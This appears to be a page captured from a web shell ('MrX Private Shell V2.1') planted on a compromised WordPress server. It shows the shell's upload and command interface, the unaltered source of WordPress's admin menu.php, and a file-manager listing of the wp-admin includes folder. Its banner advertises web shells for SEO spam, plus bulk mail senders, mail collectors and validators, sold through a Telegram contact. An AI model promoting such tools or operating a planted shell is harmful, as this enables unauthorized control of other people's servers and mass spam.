__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Build Administration Menu.
 *
 * @package WordPress
 * @subpackage Administration
 */

if ( is_network_admin() ) {

	/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @since 3.1.0
	 * @access private
	 */
	do_action( '_network_admin_menu' );
} elseif ( is_user_admin() ) {

	/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @since 3.1.0
	 * @access private
	 */
	do_action( '_user_admin_menu' );
} else {

	/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * The hook fires before menus and sub-menus are removed based on user privileges.
	 *
	 * @since 2.2.0
	 * @access private
	 */
	do_action( '_admin_menu' );
}

// Create list of page plugin hook names.
foreach ( $menu as $menu_page ) {
	$pos = strpos( $menu_page[2], '?' );

	if ( false !== $pos ) {
		// Handle post_type=post|page|foo pages.
		$hook_name = substr( $menu_page[2], 0, $pos );
		$hook_args = substr( $menu_page[2], $pos + 1 );
		wp_parse_str( $hook_args, $hook_args );

		// Set the hook name to be the post type.
		if ( isset( $hook_args['post_type'] ) ) {
			$hook_name = $hook_args['post_type'];
		} else {
			$hook_name = basename( $hook_name, '.php' );
		}
		unset( $hook_args );
	} else {
		$hook_name = basename( $menu_page[2], '.php' );
	}

	$hook_name = sanitize_title( $hook_name );

	if ( isset( $compat[ $hook_name ] ) ) {
		$hook_name = $compat[ $hook_name ];
	} elseif ( ! $hook_name ) {
		continue;
	}

	$admin_page_hooks[ $menu_page[2] ] = $hook_name;
}
unset( $menu_page, $compat );

$_wp_submenu_nopriv = array();
$_wp_menu_nopriv    = array();
// Loop over submenus and remove pages for which the user does not have privs.
foreach ( $submenu as $parent => $sub ) {
	foreach ( $sub as $index => $data ) {
		if ( ! current_user_can( $data[1] ) ) {
			unset( $submenu[ $parent ][ $index ] );
			$_wp_submenu_nopriv[ $parent ][ $data[2] ] = true;
		}
	}
	unset( $index, $data );

	if ( empty( $submenu[ $parent ] ) ) {
		unset( $submenu[ $parent ] );
	}
}
unset( $sub, $parent );

/*
 * Loop over the top-level menu.
 * Menus for which the original parent is not accessible due to lack of privileges
 * will have the next submenu in line be assigned as the new menu parent.
 */
foreach ( $menu as $id => $data ) {
	if ( empty( $submenu[ $data[2] ] ) ) {
		continue;
	}

	$subs       = $submenu[ $data[2] ];
	$first_sub  = reset( $subs );
	$old_parent = $data[2];
	$new_parent = $first_sub[2];

	/*
	 * If the first submenu is not the same as the assigned parent,
	 * make the first submenu the new parent.
	 */
	if ( $new_parent !== $old_parent ) {
		$_wp_real_parent_file[ $old_parent ] = $new_parent;

		$menu[ $id ][2] = $new_parent;

		foreach ( $submenu[ $old_parent ] as $index => $data ) {
			$submenu[ $new_parent ][ $index ] = $submenu[ $old_parent ][ $index ];
			unset( $submenu[ $old_parent ][ $index ] );
		}
		unset( $submenu[ $old_parent ], $index );

		if ( isset( $_wp_submenu_nopriv[ $old_parent ] ) ) {
			$_wp_submenu_nopriv[ $new_parent ] = $_wp_submenu_nopriv[ $old_parent ];
		}
	}
}
unset( $id, $data, $subs, $first_sub, $old_parent, $new_parent );

if ( is_network_admin() ) {

	/**
	 * Fires before the administration menu loads in the Network Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'network_admin_menu', '' );
} elseif ( is_user_admin() ) {

	/**
	 * Fires before the administration menu loads in the User Admin.
	 *
	 * @since 3.1.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'user_admin_menu', '' );
} else {

	/**
	 * Fires before the administration menu loads in the admin.
	 *
	 * @since 1.5.0
	 *
	 * @param string $context Empty context.
	 */
	do_action( 'admin_menu', '' );
}

/*
 * Remove menus that have no accessible submenus and require privileges
 * that the user does not have. Run re-parent loop again.
 */
foreach ( $menu as $id => $data ) {
	if ( ! current_user_can( $data[1] ) ) {
		$_wp_menu_nopriv[ $data[2] ] = true;
	}

	/*
	 * If there is only one submenu and it is has same destination as the parent,
	 * remove the submenu.
	 */
	if ( ! empty( $submenu[ $data[2] ] ) && 1 === count( $submenu[ $data[2] ] ) ) {
		$subs      = $submenu[ $data[2] ];
		$first_sub = reset( $subs );

		if ( $data[2] === $first_sub[2] ) {
			unset( $submenu[ $data[2] ] );
		}
	}

	// If submenu is empty...
	if ( empty( $submenu[ $data[2] ] ) ) {
		// And user doesn't have privs, remove menu.
		if ( isset( $_wp_menu_nopriv[ $data[2] ] ) ) {
			unset( $menu[ $id ] );
		}
	}
}
unset( $id, $data, $subs, $first_sub );

/**
 * Adds a CSS class to a string.
 *
 * @since 2.7.0
 *
 * @param string $class_to_add The CSS class to add.
 * @param string $classes      The string to add the CSS class to.
 * @return string The string with the CSS class added.
 */
function add_cssclass( $class_to_add, $classes ) {
	if ( empty( $classes ) ) {
		return $class_to_add;
	}

	return $classes . ' ' . $class_to_add;
}

/**
 * Adds CSS classes for top-level administration menu items.
 *
 * The list of added classes includes `.menu-top-first` and `.menu-top-last`.
 *
 * @since 2.7.0
 *
 * @param array $menu The array of administration menu items.
 * @return array The array of administration menu items with the CSS classes added.
 */
function add_menu_classes( $menu ) {
	$first_item  = false;
	$last_order  = false;
	$items_count = count( $menu );

	$i = 0;

	foreach ( $menu as $order => $top ) {
		++$i;

		if ( 0 === $order ) { // Dashboard is always shown/single.
			$menu[0][4] = add_cssclass( 'menu-top-first', $top[4] );
			$last_order = 0;
			continue;
		}

		if ( str_starts_with( $top[2], 'separator' ) && false !== $last_order ) { // If separator.
			$first_item = true;
			$classes    = $menu[ $last_order ][4];

			$menu[ $last_order ][4] = add_cssclass( 'menu-top-last', $classes );
			continue;
		}

		if ( $first_item ) {
			$first_item = false;
			$classes    = $menu[ $order ][4];

			$menu[ $order ][4] = add_cssclass( 'menu-top-first', $classes );
		}

		if ( $i === $items_count ) { // Last item.
			$classes = $menu[ $order ][4];

			$menu[ $order ][4] = add_cssclass( 'menu-top-last', $classes );
		}

		$last_order = $order;
	}

	/**
	 * Filters administration menu array with classes added for top-level items.
	 *
	 * @since 2.7.0
	 *
	 * @param array $menu Associative array of administration menu items.
	 */
	return apply_filters( 'add_menu_classes', $menu );
}

uksort( $menu, 'strnatcasecmp' ); // Make it all pretty.

/**
 * Filters whether to enable custom ordering of the administration menu.
 *
 * See the {@see 'menu_order'} filter for reordering menu items.
 *
 * @since 2.8.0
 *
 * @param bool $custom Whether custom ordering is enabled. Default false.
 */
if ( apply_filters( 'custom_menu_order', false ) ) {
	$menu_order = array();

	foreach ( $menu as $menu_item ) {
		$menu_order[] = $menu_item[2];
	}
	unset( $menu_item );

	$default_menu_order = $menu_order;

	/**
	 * Filters the order of administration menu items.
	 *
	 * A truthy value must first be passed to the {@see 'custom_menu_order'} filter
	 * for this filter to work. Use the following to enable custom menu ordering:
	 *
	 *     add_filter( 'custom_menu_order', '__return_true' );
	 *
	 * @since 2.8.0
	 *
	 * @param array $menu_order An ordered array of menu items.
	 */
	$menu_order = apply_filters( 'menu_order', $menu_order );
	$menu_order = array_flip( $menu_order );

	$default_menu_order = array_flip( $default_menu_order );

	/**
	 * @global array $menu_order
	 * @global array $default_menu_order
	 *
	 * @param array $a
	 * @param array $b
	 * @return int
	 */
	function sort_menu( $a, $b ) {
		global $menu_order, $default_menu_order;

		$a = $a[2];
		$b = $b[2];

		if ( isset( $menu_order[ $a ] ) && ! isset( $menu_order[ $b ] ) ) {
			return -1;
		} elseif ( ! isset( $menu_order[ $a ] ) && isset( $menu_order[ $b ] ) ) {
			return 1;
		} elseif ( isset( $menu_order[ $a ] ) && isset( $menu_order[ $b ] ) ) {
			if ( $menu_order[ $a ] === $menu_order[ $b ] ) {
				return 0;
			}
			return ( $menu_order[ $a ] < $menu_order[ $b ] ) ? -1 : 1;
		} else {
			return ( $default_menu_order[ $a ] <= $default_menu_order[ $b ] ) ? -1 : 1;
		}
	}

	usort( $menu, 'sort_menu' );
	unset( $menu_order, $default_menu_order );
}

// Prevent adjacent separators.
$prev_menu_was_separator = false;
foreach ( $menu as $id => $data ) {
	if ( false === stristr( $data[4], 'wp-menu-separator' ) ) {

		// This item is not a separator, so falsey the toggler and do nothing.
		$prev_menu_was_separator = false;
	} else {

		// The previous item was a separator, so unset this one.
		if ( true === $prev_menu_was_separator ) {
			unset( $menu[ $id ] );
		}

		// This item is a separator, so truthy the toggler and move on.
		$prev_menu_was_separator = true;
	}
}
unset( $id, $data, $prev_menu_was_separator );

// Remove the last menu item if it is a separator.
$last_menu_key = array_keys( $menu );
$last_menu_key = array_pop( $last_menu_key );
if ( ! empty( $menu ) && 'wp-menu-separator' === $menu[ $last_menu_key ][4] ) {
	unset( $menu[ $last_menu_key ] );
}
unset( $last_menu_key );

if ( ! user_can_access_admin_page() ) {

	/**
	 * Fires when access to an admin page is denied.
	 *
	 * @since 2.5.0
	 */
	do_action( 'admin_page_access_denied' );

	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$menu = add_menu_classes( $menu );

Filemanager

Name Type Size Permission Actions
admin-filters.php File 7.85 KB 0640
admin.php File 3.54 KB 0640
ajax-actions.php File 148.08 KB 0640
bookmark.php File 11.45 KB 0640
class-automatic-upgrader-skin.php File 3.58 KB 0640
class-bulk-plugin-upgrader-skin.php File 2.53 KB 0640
class-bulk-theme-upgrader-skin.php File 2.6 KB 0640
class-bulk-upgrader-skin.php File 6.59 KB 0640
class-core-upgrader.php File 14.83 KB 0640
class-custom-background.php File 21.14 KB 0640
class-custom-image-header.php File 48.14 KB 0640
class-file-upload-upgrader.php File 4.07 KB 0640
class-ftp-pure.php File 5.3 KB 0640
class-ftp-sockets.php File 8.28 KB 0640
class-ftp.php File 26.73 KB 0640
class-language-pack-upgrader-skin.php File 2.8 KB 0640
class-language-pack-upgrader.php File 15.2 KB 0640
class-pclzip.php File 192.08 KB 0640
class-plugin-installer-skin.php File 11.77 KB 0640
class-plugin-upgrader-skin.php File 3.2 KB 0640
class-plugin-upgrader.php File 22.7 KB 0640
class-theme-installer-skin.php File 12.44 KB 0640
class-theme-upgrader-skin.php File 4.08 KB 0640
class-theme-upgrader.php File 26.08 KB 0640
class-walker-category-checklist.php File 4.97 KB 0640
class-walker-nav-menu-checklist.php File 5.5 KB 0640
class-walker-nav-menu-edit.php File 13.85 KB 0640
class-wp-ajax-upgrader-skin.php File 4.09 KB 0640
class-wp-application-passwords-list-table.php File 6.79 KB 0640
class-wp-automatic-updater.php File 60.45 KB 0640
class-wp-comments-list-table.php File 32.28 KB 0640
class-wp-community-events.php File 18.33 KB 0640
class-wp-debug-data.php File 65.06 KB 0640
class-wp-filesystem-base.php File 23.84 KB 0640
class-wp-filesystem-direct.php File 17.72 KB 0640
class-wp-filesystem-ftpext.php File 22.56 KB 0640
class-wp-filesystem-ftpsockets.php File 18.05 KB 0640
class-wp-filesystem-ssh2.php File 22.76 KB 0640
class-wp-importer.php File 7.32 KB 0640
class-wp-internal-pointers.php File 4.47 KB 0640
class-wp-links-list-table.php File 9.02 KB 0640
class-wp-list-table-compat.php File 1.46 KB 0640
class-wp-list-table.php File 51.67 KB 0640
class-wp-media-list-table.php File 25.29 KB 0640
class-wp-ms-sites-list-table.php File 21.5 KB 0640
class-wp-ms-themes-list-table.php File 27.77 KB 0640
class-wp-ms-users-list-table.php File 15.35 KB 0640
class-wp-plugin-install-list-table.php File 24.21 KB 0640
class-wp-plugins-list-table.php File 56.43 KB 0640
class-wp-post-comments-list-table.php File 1.42 KB 0640
class-wp-posts-list-table.php File 62.71 KB 0640
class-wp-privacy-data-export-requests-list-table.php File 5.43 KB 0640
class-wp-privacy-data-removal-requests-list-table.php File 5.58 KB 0640
class-wp-privacy-policy-content.php File 31.86 KB 0640
class-wp-privacy-requests-table.php File 14.06 KB 0640
class-wp-screen.php File 36.45 KB 0640
class-wp-site-health-auto-updates.php File 14 KB 0640
class-wp-site-health.php File 119.49 KB 0640
class-wp-site-icon.php File 6.26 KB 0640
class-wp-terms-list-table.php File 20.69 KB 0640
class-wp-theme-install-list-table.php File 15.23 KB 0640
class-wp-themes-list-table.php File 10.11 KB 0640
class-wp-upgrader-skin.php File 6.94 KB 0640
class-wp-upgrader-skins.php File 1.44 KB 0640
class-wp-upgrader.php File 46.88 KB 0640
class-wp-users-list-table.php File 18.61 KB 0640
comment.php File 5.98 KB 0640
continents-cities.php File 20.06 KB 0640
credits.php File 5.73 KB 0640
dashboard.php File 68.08 KB 0640
deprecated.php File 40.8 KB 0640
edit-tag-messages.php File 1.44 KB 0640
export.php File 24.97 KB 0640
file.php File 95.87 KB 0640
image-edit.php File 42.85 KB 0640
image.php File 41.66 KB 0640
import.php File 6.46 KB 0640
list-table.php File 3.71 KB 0640
media.php File 116.32 KB 0640
menu.php File 9.39 KB 0640
meta-boxes.php File 64.53 KB 0640
misc.php File 44.71 KB 0640
ms-admin-filters.php File 1.27 KB 0640
ms-deprecated.php File 3.68 KB 0640
ms.php File 33.51 KB 0640
nav-menu.php File 47.89 KB 0640
network.php File 26.36 KB 0640
noop.php File 1.12 KB 0640
options.php File 4.15 KB 0640
plugin-install.php File 38.55 KB 0640
plugin.php File 90.75 KB 0640
post.php File 80.28 KB 0640
privacy-tools.php File 32.68 KB 0640
revision.php File 16.18 KB 0640
schema.php File 41.86 KB 0640
screen.php File 6.23 KB 0640
taxonomy.php File 8.23 KB 0640
template.php File 96.22 KB 0640
theme-install.php File 6.83 KB 0640
theme.php File 46.62 KB 0640
translation-install.php File 10.82 KB 0640
update-core.php File 68.5 KB 0640
update.php File 33.63 KB 0640
upgrade.php File 112.09 KB 0640
user.php File 22.98 KB 0640
widgets.php File 10.66 KB 0640
Filemanager